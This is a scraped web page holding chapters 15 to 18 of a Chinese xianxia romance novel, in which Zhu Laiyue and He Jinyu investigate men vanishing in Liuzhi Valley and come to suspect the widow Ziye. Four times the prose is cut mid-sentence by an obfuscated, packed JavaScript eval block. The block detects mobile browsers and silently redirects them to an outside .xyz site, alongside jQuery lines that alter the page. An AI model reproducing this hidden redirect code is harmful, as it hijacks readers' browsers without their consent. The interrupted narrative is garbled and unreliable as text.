;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840335|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于这件事,两个人都没什么头绪。祝来月拿出刚从绮罗那里得来的残片和之前那两块融合的残片,将它们都摆在案上。
她回想起上次融合时自己头痛欲裂的情景,难免心有余悸。
贺今羽看出她的担忧,说道:“我在旁边护法。”
尽管可能毫无用处,祝来月还是很感激他的好意。她向贺今羽点点头,随后目光再次投向木片,她伸出手将残片沿着它们的裂缝合上。
合上那一瞬间,有一股强烈的力量突然在祝来月的体内游走,她顿时脱力,手撑在案上,面色极其苍白。
贺今羽见状,伸手去扶无力站着的她,一边迅速将灵力注入她的体内护住她所有的经脉。祝来月的脸色略好了一些,但仍然十分痛苦。
好一阵后,她才终于感觉到那股强烈的力量平静下来,化作了一种温暖又充满生机的力量留在她的经脉之中。
感受到她已经恢复后,贺今羽松开了扶着她身体的手,自觉地退了一步,保持距离。
祝来月向贺今羽再次表示感谢,若非他今日在这里替她护法,恐怕以她的经脉强度是无法承受这种暴烈的力量的。
她隐隐有一种感觉,越到后面这力量便越强。
看着眼前融合之后仍旧有所残缺的残片,她不禁担忧起之后的融合是否是她能够承受的。
“怎么样?”贺今羽问道。
“脑海里总有一幅画面,看不清楚。我似乎忘记了一件必须要做的事。”无论她如何去回忆,总是想不起来那究竟是什么事。
看来要解开这个谜底,只有把剩下的残片全部集齐才行,现在已经有了三片,只是不知究竟总共有几片。
这之后,贺今羽回了房,将风栖剑和祝来月在上巳节那日买给祝未璃的小玩意儿一同装在一个纳物的灵器之中,接着便用了千里传物之法将它们先送回宗门,使宗主放心。
又在信中言明了失窃一案的最终结果。
若是父亲得知他放走了窃贼,而非将其绳之以法,恐怕又将大发雷霆吧。
不知为何,今夜竟然有些难眠。
他只好来到城主府的庭院之中,将那套自创的、已经练了上万遍的剑法反复练习。
只是今夜无雨,明月之光亮如白昼,更无人分他一半的纸伞。
第二天一早,贺今羽就收到了父亲的千里传书,宗主在信中责怪他办事效率低下,过了这么长时间才解决此事。又质问他为何不将窃贼一同带回宗门。
同时又给他下达了一项新的任务。
贺今羽本以为找回风栖之后就要回灵霄宗,此后与祝来月恐怕再难有交集,心中竟多了些说不清道不明的复杂情愫。
可当他得知此次任务地点后,这种莫名的情愫便一扫而空。
宗主命他即日前往流织谷,去解决一件多人失踪之案。
“流织谷?”祝来月听他说完任务内容后,重复了其中的地名。
他点头,同时说道:“嗯,你的事在那里也许会有线索。”
15. 病者
流织谷位于众水交汇之谷,因水源丰富,故谷内植被茂盛,有许多稀奇古怪的草木生长。
“那我们正好同行。”祝来月自然是知道大名鼎鼎的流织谷的,于是想到那里兴许会有木片来历的线索,便向他说道。
虽然有时候贺今羽看着不大好相处,容易让人误会他傲慢无情。但经过这段时间的共处,祝来月总觉得他除了太固执以外,还是相当不错的人。
宗主在信中还提到,聂家次女也在流织谷,若是遇见要向聂家问好。
贺今羽有些排斥寒暄这类事,但从未想过要违抗父命。只是希望不要遇见她最好。
“这里还有一封是师妹给你的。”贺今羽拿出那封一同传来的信递给祝来月,自从祝未璃入门之后,他自然改口叫她师妹了。
祝来月展开信件,看着内容,一会紧蹙着眉头叹气一会又流露出笑意。
信中写道璃儿谢谢姐姐给她买的小物件,她都很喜欢。又提到师尊严苛,练剑苦了些,她便向师尊提议与同修切磋一事。
师尊同意后,她就常常会去旁的江湖势力同那些争鸣榜上的高手切磋,借此磨练剑意。于是近日修为和剑法都进步神速,师尊对她更是赞赏有加。
在贺今羽的幻梦中时,祝来月对这个灵霄宗宗主印象便不太好,现在不禁担心自己支持妹妹去灵霄宗修炼是否是错误的决定。
他对自己的亲生儿子整日只有责骂,却偏偏对其他弟子多加赞赏。她实在不解其中缘由。
康行渡饮下忘忧茶之后果然将狐妖一事忘得干净。祝来月私下还同城主夫妇说了这件事,希望他们今后也能够装作不知道这件事一样瞒住康行渡。
他们自然也愿意儿子不再与妖物有任何瓜葛,欣然应下了。两人同城主一家告别之后便离开了荣州。
出了城门之后,祝来月望着这座繁华的城池,心中涌现几分感慨:“听说戚少雁曾经最常待的地方便是荣州。”
“但这里却没有她存在过的痕迹。”贺今羽也望向荣州城内,提起戚少雁,没有一个剑道中人会不感慨的,连他也不例外。
“不,有痕迹的。”
她想到了那神秘的花间掌柜,如果她真如传闻所说般以凡人之躯活了数百年,在七百年前,她一定认识戚少雁。
花间里,一定有那一代名侠存在过的痕迹。
祝来月想起了那个约定,她想着,窦娘口中最深刻的事,会不会与戚少雁有关?
“下回再来荣州时,你是不是就要回宗门了?不,流织谷的事结束以后你就要回去了。”
贺今羽沉默半晌,说道:“戚少雁的事,我也有兴趣。”虽然并未言明,她却明白这是他承诺的方式。
流织谷的事件是连环失踪案,正巧荣州距离流织谷不远,宗主才安排贺今羽前去解决此事。
两人雇了一辆腿脚极快的马车,约莫半日便可以到达流织谷。仅比御剑慢一些,省了不少灵力。
流织谷中只有一个流织镇,其他村落都在谷外。因进出都很麻烦,谷内的贸易发展并不好,百姓们都与世无争地生活着。
又因谷内灵药众多,故向来与医药世家聂家有密切关系,聂家又与灵霄宗向来有姻亲关系,此番出了事,灵霄宗自然不能袖手旁观。
马车只能行驶至谷外,围绕着流织谷的有许多大山和大河,确实入谷不易,从高处往下望时,能看见谷内被浓雾笼罩,湿气丰富。
贺今羽御剑带着她进入谷内的小镇,这里的人似乎因为失踪事件格外警惕,尤其对他们这些外来人更是避之不及。
好处是客栈空房不少,两人先在客栈安顿下来,再准备去调查失踪一事。两人在房间内置放物件时,听见窗外传来争执声,打开一看,发现底下的街道上竟然围了一群人。
在他们中间是两名女子和一名男子。男子年纪不大不小,大约三十岁出头。
而那两名女子,其中一个妇人装扮,二十余岁,身姿倩丽,另一个看着大约和祝未璃一个年纪,穿着华贵,不像是本地人士。
贺今羽看着年纪较小的女子觉得有些眼熟,两人一起下了楼查看情况。
只见那小姑娘脚踩那中年的魁梧男子,言辞犀利,从她的话语中可以知道,那中年男子意图非礼这位年轻妇人,被这小姑娘撞个正着。
那魁梧男子对着一旁的年轻妇人求助道:“子夜姑娘,我错了,你就发发慈悲让这位女侠饶了我吧。”
被称作子夜的年轻妇人面色犹豫,似乎并不想轻易放过他。
男子见她犹豫,连忙又说:“子夜姑娘,谈弟还在的时候,整个镇上就数我最照顾他了,这你是知道的。你就看在他的面子上原谅大哥一时糊涂,好吗?”
他提到“谈弟”时,子夜明显皱起了眉头,脸色不太好,看上去颇具伤感之色。
“我呸!”小姑娘又狠狠踩了一脚男子,十分鄙夷地看着他,“你还敢要挟她!我看你一点认错的态度都没有,你看见那棵柳树没?这样,我把你挂上去,挂个一天一夜,说不准你就知道什么叫认错了。”
顺着她手指的方向望去,众人瞧见一棵几乎快死掉的柳树,看上去脆弱不堪,在温暖的春风中仍旧显得摇摇欲坠。
男子瞧见那棵快枯萎的柳树,咽了口口水,连女侠都不愿意再喊,而是强撑着不堪的骨气吼道:“你这乳臭未干的黄毛丫头!一个外乡人,多管什么闲事!我又没惹你,狗拿耗子,呸!”
“你还敢骂姑奶奶?!”小姑娘怒极,一脚又踹向那人的后背,然后一只手伸去准备提起他往河边拖时,子夜却开了口:
“女侠息怒,孙大哥于我夫君确有恩情,放了他吧。”她似是不愿意再看到他,而这位孙大哥被小姑娘放开那一刻就片刻不歇地跑了。
小姑娘仍旧心有不甘,眼神追着那跑了的中年男子,却看见一柄熟悉的剑。
她顺着剑望去,执剑之人十分年轻,面色冷淡,她喜出望外:“贺大哥!”
贺今羽虽然觉得她面熟,却想不起来她是谁。
她连忙走上前去,才发现他身侧站着一个极美的女子,她愣住脚步:“贺大哥,她是谁?”
祝来月总觉得这个桥段似乎在什么话本中见过,略有些无奈,等着贺今羽的答复。
谁知贺今羽根本就不回答她的问题,而是反问她:“你是谁?”
“贺大哥你可能没见过我,但是我认得你这把剑。白羽剑,和我姐姐的流星坠是一对的,当初贺伯父来聂家定亲时我见过。”
贺今羽终于知道了眼前这个小姑娘正是父亲信中提到的聂家次女聂棋缘,细看才发现她和她长姐聂琴机在眉眼处有几分相似。他勉强寒暄了几句,看上去不大自然。
聂棋缘似乎对他身边的祝来月更感兴趣,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840336|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又问了一遍他们之间的关系。
尽管两人都表示只是朋友,她还是对两人之间的关系心存怀疑。若是贺今羽做了对不起姐姐的事,她回去可得跟姐姐告状。
祝来月见她大有揪着这事不放的架势,于是便向子夜提问,转移视线,她问道:“子夜姑娘是本地人士吧?不知可有听闻近日多人失踪一事?”
子夜面露难色,“我不太清楚此事,姑娘还是向旁人打听吧,子夜家里还有些事,恕不奉陪了。”她不给几人追问的机会,匆匆离开了街上。
旁边围观的百姓中有几个热心的告诉了他们事情的原委:此次失踪事件的第一个受害者正是子夜姑娘的丈夫谈居林,子夜姑娘日日伤心,自然不愿意与旁人提及此事。
而宗主给贺今羽的受害者名单中也正有谈居林这个人。
此时天色渐晚,几人先回了客栈用饭,贺今羽和祝来月围着四方的桌子面对面坐着,而聂棋缘坐在他们旁边一侧,夹在他们之间死死地盯着两人的一举一动。
两人被她盯得发毛,没怎么吃几口就异口同声地说要回房歇下了。聂棋缘紧跟着两人上了楼。
一夜无话,翌日,三人各有安排,各自离开了客栈。
聂棋缘此来除了协助贺今羽解决失踪一以外,最主要的还是为当地大夫授业解惑。她来到小镇上为数不多的一家医馆内,表明身份后,大夫看着面前十五六岁的小姑娘十分意外,但聂家的决定不会有误。
在问了一些难解的问题之后,几位年过花甲的大夫彻底相信了来人的身份。
于是他们向聂棋缘诉说了一件事:“聂小姐,镇上有一例疑难杂症,我们医术不精,看不出是何病症,还请聂小姐与我同去,为他治病。”
她随着年迈的大夫来到患者家中,开门的是患者的小女儿,不到十岁的模样。
小孩子总是不擅长伪装自己的喜恶,她看到来了大夫,顿时垮了脸,也不招待他们。而带聂棋缘来的大夫对此似乎并不觉得意外。
聂棋缘也不会和小孩计较什么,他们直奔目的,来到患者所居的屋内。屋内陈设简陋,除了必要的家具以外什么也没有,而那些家具看上去也十分陈旧。
她上前去看躺在榻上的患者,他面色如常,身上有一股浓厚的酒气,像极了醉倒的人,若不是他已经昏迷了快四日,恐怕连大夫也要这样认为。
她搭上他的脉搏,与常人无异,只是身子有些虚,并无任何病症。
聂棋缘连说了好几声奇怪,然后发现那名大夫正以期待的目光看着她,可她却说不出所以然,正有些骑虎难下时,患者的妻子走进了房内,“大夫,我家郎君怎么样了?还是醒不了吗?”
聂棋缘看到来人,她的脸色蜡黄,脚步虚浮,显然身患旧疾,她灵机一动道:“姐姐,你看上去比你的夫君更严重些,我来替你把把脉。”当她想把手搭到她身上时,却被那个瘦弱的女子躲开了。
她眸光闪躲,面露羞赧道:“小姑娘,你还会看病啊。”
“原来你是不相信我的医术,虽然我医术确实比不上我姐姐,但你放心,绝大多数病症对我来说都是小问题。”
一旁年迈大夫也替她作证。
“不,我并非信不过姑娘的医术,只是……”她支支吾吾,脸变得越来越红,她看看老大夫,又看看跟前衣着富贵的年轻小姑娘,不知道该怎么开口。
16. 迷香
老大夫毕竟曾来这家看过病,又阅历丰富,一下子便知道了她犹豫的来由。
他悄悄对聂棋缘表明,这户人家家境清寒,平常看不起病,这家娘子病了数年都未抓过一副药。
聂棋缘也悄悄问老大夫:“那为什么他们给那个人看病?”她朝榻上那个病人挑挑眉毛。
这下轮到老大夫支支吾吾了,他“这”“那”了半天也说不出个中缘由来。
聂棋缘冷笑一声,并不点破,只是拉着那病了多年的女子坐下,硬要给她把脉开药,还说道:
“你放心,我聂家子女虽然以行医维生,但还不差你这份诊金,我聂棋缘不会收你半分钱,还会把药配好了给你。”
女子的身体并不乐观,毕竟拖了这么些年了,即使小病也会拖成大病。
聂棋缘开了一副方子,从随身携带的药箱中先给她开了一份药,可以吃两天,并且承诺等她回客栈就多配几副,让她明天去客栈取。又嘱咐她按时服药,平日不可太劳累,有些家务事,能不做便不做为好。
女子感激不尽。聂棋缘有些不好意思,毕竟她还是没能看出来她丈夫的病症在何处,她说要回去查了古籍再来诊脉,同样给这个男子开了一副调养身体的药方,亦是分文不取。
当他们离开时,给他们开门的小女孩追了出来,拉着聂棋缘的衣角,说道:“姐姐,谢谢你,你替娘亲治病,你是好大夫,爷爷奶奶不给钱,镇上的大夫都不给娘亲治病,你是唯一一个,谢谢你。”
小女孩说了两遍感谢,眼神真挚。
聂棋缘摸摸她的脑袋:“镇上的大夫也是好大夫,他们只是需要诊金。姐姐不一样,姐姐家里很有钱,不差这点。”
“那姐姐也是比他们都好的大夫。”小女孩固执地说自己认为的真理,“姐姐,我也能成为一个好大夫吗?”
“你想学医?”
小女孩重重地点点头,仿佛越是用力便越是能表达她的诚心。
“等你长大了还是一样的打算,就去玲珑城聂家找我,我一定教你成为一个好大夫。”
至黄昏时,祝来月才回到客栈,此时贺今羽和聂棋缘都已经回来多时了,她看两人的面色,就猜出了七八分结果。
白日里,聂棋缘去给医馆的大夫们授业解惑,,贺今羽去调查失踪一事。
祝来月对旁人之事并无兴趣,不愿多掺合,于是自己一个人去了镇外的林中,看看有没有关于残片的线索。
起初她还有些担心,此地水雾和灵力都较为充沛,恐怕各类树木成精会作怪,结果在林中逛了一日也没有任何意外。
她一边走一边记录许多不常见的草木的特征,虽然没有得到残片是何种树木所制的线索,也可以称得上是收获颇丰了。
眼前两个人看着倒是像无功而返。
她端来茶水,准备听听两个人今日的过程。聂棋缘先将今日所见所闻说了一遍,又说道:
“那户人家的老人真是缺德,儿媳的病少说有个六七年了竟然未曾给她请过一次大夫,儿子的命是命,她的命就不是命了?”她气得将杯中的茶水一饮而尽,随后猛咳了几声,“怎么这么苦?”
“抱歉,不知你不爱浓茶,我去倒一壶新的来。”祝来月说罢欲走,却被聂棋缘拦住。
“不用了,祝姐姐。”
“姐姐?”祝来月有些意外,她以为这位聂家二小姐是很有些敌视她的。
“是啊,你今年十七,我今年十五,而且你和我姐姐还挺像的,说话温温柔柔,虽然不知道你和贺大哥什么关系,但你这个人似乎还不错。”
“其实你和家妹也有些相似。”
聂棋缘来了兴致,追问道:“是吗?她是个什么样的人呀?”
“嗯……”祝来月简单想了想,提到妹妹总让她不禁露出笑意,“和你一样,特别爱管旁人的事。整天有说不完的话,天底下有无数的事都可以让她开心,有时也会伤心或者疲惫,但很快又能振作起来。”
接着,祝来月又问了贺今羽今日调查得如何。
贺今羽言简意赅地将今日过程说了一遍。
他去了全部失踪人员的家中,按顺序走访,第一家便是昨天见过的子夜,子夜似乎并不在家。他吃了闭门羹后迅速赶往下一家。
第二家是一个女子开门,并不愿意提及丈夫失踪一事,态度与子夜姑娘很相似,几乎是避而不谈。
第三家只有两位老人,失踪者是他们的老来子,平日里疼爱得紧,这回失踪了很着急,也是今天下来最愿意配合他的人。
第四家中是一个小孩和他的姨母,母亲多年前已经去世,最近几日父亲又失踪了,小孩很是害怕,一直哭哭啼啼的。贺今羽觉得头痛,没问几句就离开了这里。
后来又去了几家,有顺利的也有不大顺利的,总之眼下还没有太多的头绪。
耐心听他说完后,祝来月问道:“得出什么结论了吗?”
“只有一个,失踪的皆为男子。”
祝来月若有所思地点点头,不等她说话,外头又是一阵骚乱。
三人发觉不少居民都朝着小镇中的一个方向走去,像是发生了什么事,聂棋缘连忙拦住一个人问他究竟发生了什么事。
“镇上西边住的孙大程不见了!诶?我记得你,你是昨天那个把孙大程打了一顿的外乡人!”
那人认出了聂棋缘,语气激动地喊了几声,又有不少人被吸引过来,对着聂棋缘指指点点。
他们有的窃窃私语,有的直截了当地指着聂棋缘。有不少人认为她和孙大程的失踪脱不了干系。
祝来月和贺今羽都替她辩解了几句,最终还是医馆的大夫出来澄清,表示她绝非歹人,镇上围观的居民才陆陆续续地散了。
“虽然这里民风淳朴,可是也太爱看热闹了点。”
聂棋缘来了才两天,就被围观了两次了。她趴在桌子上耷拉着脸。
“又失踪了一个。”祝来月说道。
“嗯。”贺今羽显得心事重重,本就冷淡的神情此刻更添了几分寒意。
“你再想想,说不定还能找到什么线索?比如失踪之人近日有没有什么与往常不同的举动之类的。”
他陷入一阵沉思,忽然开口:“他们几乎都有晚归的情况,可大部分并不是近日才有的这种情况。”
“晚归?可有说明具体何时?”祝来月却像是揪住了事情的诀窍一样提起精神。
“并无。”贺今羽见她很是看重这一点,便问她是不是想到了些什么。
祝来月却只是反问他:“你忘了这里是什么地方了?”
流织谷,一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840337|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
四周围绕群山、又有多支大河围绕的山谷。
贺今羽自然不会忘记,他想他明白祝来月指的是什么了。流织镇内不似荣州般繁华,村内百姓皆是日出而作日落而息,天黑时并没有什么热闹的铺子还开着。
他突然又想起祝来月此行的目的,“你呢,有线索了吗?”
祝来月摇摇头,表示毫无头绪。
“天色不早,你行动小心些。”嘱咐完之后,祝来月就上楼准备安寝。
聂棋缘看她走了,又留了句她摸不着头脑的话,急得抓着贺今羽问:“什么呀?你们聊的我怎么听不懂?什么行动?贺大哥你要出去吗?”
“嗯,你也去歇下吧。”
“不要啊,贺大哥,我也想去,带上我吧好不好?”聂棋缘拽着他的手来回晃悠,半夜出行这么有意思的事她可不能错过。
“胡闹。”
聂棋缘被他义正严辞的模样吓了一跳,只好缩缩肩膀,兴意阑珊地回房歇下。
佯装歇下之后,她又悄悄跟在贺今羽的后边出了客栈。她暗暗地想道:你不带我去,我还不会自己跟嘛。
流织谷内水汽充沛,夜深时雾比白日浓了百倍,几乎出了五步便看不清方向了。
这样的条件要跟着行动敏捷的贺今羽实在是不易,没一会儿,她就跟丢了目标,看着眼前一排排陌生的房屋,她苦恼道:
“这是哪儿啊?”
她四处转悠了好半天,空气中弥漫的潮湿气味令她感到不快,找不到回客栈的路也让她有些害怕。
不知过了多久,许多水雾在聂棋缘的身上化为露珠,连她的一身衣服都有些潮湿了,她一边捏着打湿的衣裳,一边小心翼翼地前进着。
谷中的天空也被乌云遮住,瞧不见半点月光。耳边忽然传来一阵声响,吓得她瑟缩在原地,那声音婉转悲恸,忽歌忽泣,聂棋缘听了一会歌声的内容,却发现它是如此模糊,就像这山谷中的水雾一样,潮湿、使人心生凉意。
为了听清那种歌声,她站起身来,向前走了几步,她闻到一股极其醇厚的酒香,简直像是丝绸一样柔软丝滑,与那美丽的歌声一同飘来。
她忽然觉得手轻飘飘的,脚也轻飘飘的,春夜里的那股寒意都消失不见,取而代之的是入骨的温暖。这种温暖托着她慢慢地漂浮,她感到自己离那传说中永恒的神界越来越近、越来越近。
忽然,她感到口鼻传来一股清冽的香气,鼻腔内失去那美味的酒香后她下意识地奋力挣扎,但嘴巴被捂得很死,手脚也被人用法术固定住了。
直到耳边传来熟悉的声音,她才停止了躁动。
贺今羽见她平静下来,就松开了手,问道:“你怎么跟来了?”
“发生什么事了?”
“你被迷香控制了,此地妖气很重。”
原来他在镇上打探时,意外发现了聂棋缘的身影,可是低声呼唤她却毫无反应。无法,他只能用解寻常迷香的一味香先试试。
所幸她中得不深,解药起了些作用,但她仍旧手脚无力。贺今羽只能先送她回去,今日的行动就此作罢。
第二天却出了一件所有人都意想不到的变故,祝来月被聂棋缘叫醒,贺今羽也在她的房内,只不过背对着她们站着,窗外很是嘈杂。
她第一反应是:又怎么了?
17. 子夜
祝来月一边穿外衣,聂棋缘一边和她讲来龙去脉。
“昨夜我跟着贺大哥出去,不小心中了迷香我们只能回来了。今天一早客栈就来了两个老人家闹事,我们要换个地方。镇上恐怕难待下去了。”
“是谁?”她束好腰带,问她。
“是……昨天我去诊脉的患者的父母。患者失踪了……他们认为是我做了什么,可我真的没有!”
说到后边,她情绪激动起来,眼眶泛红,比委屈更多的是愧疚,“对不起,我一直给你们添麻烦。”
祝来月把手搭在她的手上,她从前一直都是这样安慰妹妹的,现在也用同样的方法安慰聂棋缘。
“我们先走吧。”她对贺今羽说。
这些人倒还没有影响到他们脱身,聂棋缘自己就有修为,虽然比不上贺今羽,但在争鸣榜上也是有名号的,年仅十五就已经排名第七十二了。
在走之前,聂棋缘在房内留下了加倍的房钱和写着对掌柜的歉意的书信。
离开客栈后,祝来月提议去聂棋缘说的患者家中先看看线索,贺今羽问道:“你不是一向不管旁人的事吗?”所以她昨天才没有和贺今羽一起行动。
“此事若是解决,或许对我亦是收获,我的直觉向来很准。”
罗平鸟那次也给了她同样的感觉,又加上璃儿想要找到失踪之人,她才帮着查案。也正是因为这种直觉才能和贺今羽他们熟悉起来。
三人一同前往最新的失踪者的住所,起先聂棋缘还担心这会是自投罗网,结果到地方一瞧,这里简直比客栈要安静多了。可谓是最危险的地方也就最安全。
家中只有那生了病的女子和那个小女孩在家,她们看到聂棋缘,十分意外,急道:“聂小姐,你怎么来了?这里不安全,家老很快就回来了。”
她一边说着,一边还探出头查看四周是否有异动。
聂棋缘心中一阵感动,“你们相信我不是凶手?”
“聂小姐心地善良,我们都相信你,只是家老最疼爱郎君,并不听我解释,给聂小姐造成麻烦了,真是……”她说着,还愧疚地想要向她跪下。
聂棋缘手忙脚乱地把她扶起来,又将昨天配好的余下的药包给了她,“姐姐不用客气,我们还有些问题想问问你。”
妇人接过药包,连连道谢,又表示他们想问什么都可以,她必定知无不言。
祝来月便问她,她的夫君是何时发现不见的,昨天夜里又有什么异样。
“几年前我和郎君就分房就寝了,昨夜我像往常一样早早就和小婉一起睡下了,我觉浅,夜里醒过一次,听见断断续续的女子歌声,还隐约有些哭泣声。近些日子消失了不少人,他们大多都是有家室的,我只当是那些没了丈夫的女子伤心,再加上前些日子也听过一回,便没放心上。今早醒来,我煮了稀饭准备给郎君喝,去了他房里才发现他消失了。”
祝来月仿佛抓到了她话中的重点,追问道:“你说,那些失踪者皆是有家室之人?”
妇人认真回忆了一番,摇摇头,道:“不,昨日失踪的孙大程便是独自一人住在镇上的西边,到了傍晚,他的友人去寻他才发现他不见了。还有住在北边的宋家,他家只有两位老人,失踪之人是他们老来子,还未成亲;还有姚家,失踪之人虽有妻儿,但他的妻子已经过世多年。”
贺今羽分别想到自己昨天走访的第三户和第四户人家。
他们之间一定存在某种联系。祝来月暗暗想到。
“你们还敢来我家?”门口突然传来一声怒喊,几人转头看去,正是一清早就在客栈闹事的那两位老人。
为了不让妇人为难,三人很快就从房檐上用轻功走了。期间还有不少认得他们面孔的镇民追赶着他们,他们几乎绕了一大圈才甩开这半个镇子的居民。
聂棋缘气喘吁吁地说道:“这镇子就这么点大,到哪都有人追。”
流织谷果然民风淳朴,一人有难八方支援,整个镇子可以说是无比的团结。
“我们现在去哪?”
祝来月像是心中有了答案一般,露出了往常那种颇为自信的眼神,只是还差一两个部分,这件事的真相就将浮出水面了。
傍晚,正当他们为夜宿发愁之际,一个意料之外的人却突然出现在他们面前。
子夜邀请三人暂且在她家歇下,一边带路,一边表示自己相信他们不是坏人。
“流织镇的人只是太同仇敌忾了些,本心却都不坏。”子夜姑娘向他们解释道。
聂棋缘却一脸郁闷,极不认同她这句话,反驳道:“是吗?我倒是觉得前日对你意图不轨的孙大程本心就挺坏的,这种人失踪了也是活该。”
子夜听了此话,只是微微一笑,并不回应。
来到子夜的家中便发现她住的地方十分温馨舒适,颇有家的味道。装潢并不华丽,却是应有尽有,可以想象房子的主人是很热爱这座不大不小的房屋的。
正好到了饭点,三个人都是一整日都未曾进食,贺今羽忍耐惯了,祝来月和聂棋缘早已饥肠辘辘。尤其是聂家二小姐,在子夜姑娘把饭菜端上来时,眼睛都看直了。
“菜色略简了些,希望各位不要嫌弃。”
在子夜说完之后,便示意几人可以动筷子了。聂棋缘直接抄起碗筷就开始把饭菜往嘴里塞,还含糊地说了好几声好吃。
子夜的脸上浮现笑意,“你们不嫌弃就好。”她说着,又将放在一边的小坛子打开,里面飘出来一股浓浓的酒香,“这是自家酿的浊酒,请各位尝尝。”
聂棋缘吃得极快,却还有时间冲她摆手,“抱歉,子夜姐姐,我才过及笄,爹娘不让我饮酒。”
祝来月也跟着说道:“我酒量浅,不能饮酒,辜负子夜姑娘美意了。”
贺今羽本想拒绝,祝来月却悄悄看了他一眼,于是他接过子夜斟的酒,一饮而尽,惹得子夜姑娘连赞几声好酒量。
饭后,子夜姑娘领他们去了收拾出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840338|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的客房,祝来月和聂棋缘住同一间,贺今羽独自住一间。
不知为何,两间屋子离得有些距离,子夜只说是因为家中空房甚少。祝来月他们自然不会抱怨些什么,感谢完她的好心收留之后就各自回房了。
这注定是一个不能平静的夜晚。
夜深人静,谷内又升起浓雾时,贺今羽仍未睡下,在房中打坐运转功法修炼。忽然,房外又传来那种如歌如泣般的声音,只是这次比从前更近、近的多了。
子夜悄悄推开贺今羽的房门,她穿了一身薄衫,在春夜里显得有些冷。
她手中托着一盏油灯,轻轻走进贺今羽的房间,她的步伐柔弱无骨,“贺公子还不睡下吗?”她在门口进来一步处停下,柔柔地问道。
“姑娘不是也没睡吗?”贺今羽的眼神朦胧,许是今夜的酒格外香醇,他不禁多饮了几杯。
油灯并不明亮,在火光的照耀下,只能看清子夜窈窕的身姿,看不清她的表情。她忽然将油灯举起,靠近了脸,贺今羽看清她脸上勾人心智的笑容。
油灯灭了。
漆黑的房内先是传来门吱呀一声关上的声响,接着他便听到子夜的轻笑声,她的身上有淡淡的芳香混合着酒香。他感觉到她的靠近。
“公子,我与你那未婚之妻孰美?”
贺今羽想到那个只在幼时见过一两次的聂琴机,实在想象不出她如今什么模样,大抵会和她妹妹比较相像吧。
见他并不作声,子夜大方地搂住他的脖子,往他怀里靠。
“看来这个问题公子很是为难,那子夜换个问法。”她将嘴贴近他的耳朵,呵气如兰,又问道:“祝姑娘和她,你选谁?”
贺今羽全身上下都僵硬起来,不知他究竟愣愣地回答了什么,他怀中的子夜忽然大笑起来,又用极其狠厉地语气说着:“负心之人,都要死!”
清晨,祝来月和聂棋缘一觉睡到天亮,出了房门便看到子夜姑娘正在家中洒扫。几人互相打了招呼,她们就去贺今羽的房间找他。
倒也奇怪,往常都是贺今羽第一个醒,醒了就在空地练剑,今日却没有他的身影。
祝来月敲门几声,屋里却没有回应。贺今羽最是警惕,别说敲门了,哪怕是她走近他也一定会察觉。总不能是昨天吃了酒,有些宿醉吧?
等了好一阵也不见有人开门,祝来月便打开了门,却发现这一眼可观全局的小屋子里半个人影都没有。
她迅速去问子夜可有见到贺今羽,子夜回道:“贺公子清早就出了门,说是有事,兴许今夜会回来的。”
祝来月没有再追问下去,他也确实是个喜欢独自行动的人。又对子夜说要和聂棋缘去镇上医馆,便告辞出了门。
聂棋缘出了门后,问道:“我们就这么走了呀?这个子夜一看就很可疑,昨天她给贺大哥喝的酒就是那个昏迷的患者身上的味道,和那天夜里迷晕我的也是同一种。”
她笑着摇摇头,“我们去找真相。”
18. 善变
祝来月取出一只小虫,看上去只比普通的萤火虫略大一些,聂棋缘一眼就认出来这不是普通的萤虫,而是经过培养的追踪荧。
“昨日我在贺今羽身上提前留下了与它搭配使用的寒柳香,今天就跟着它走。”
寒柳香无色无味,只有追踪荧可以嗅出它的气息,并且为人指引方向。
“我以为这种香术只有琼心门的人会用,姐姐你竟然还会这个?”
琼心门确实是江湖中生产各类香料的源头势力,有不少香术都是她们不外传的秘法。追踪荧知晓的人不算多,但并不是琼心门独门之计。
“我修为薄弱,总要会点技巧傍身。”
两人一直跟着追踪荧到镇外,走进草木繁茂的森林中。
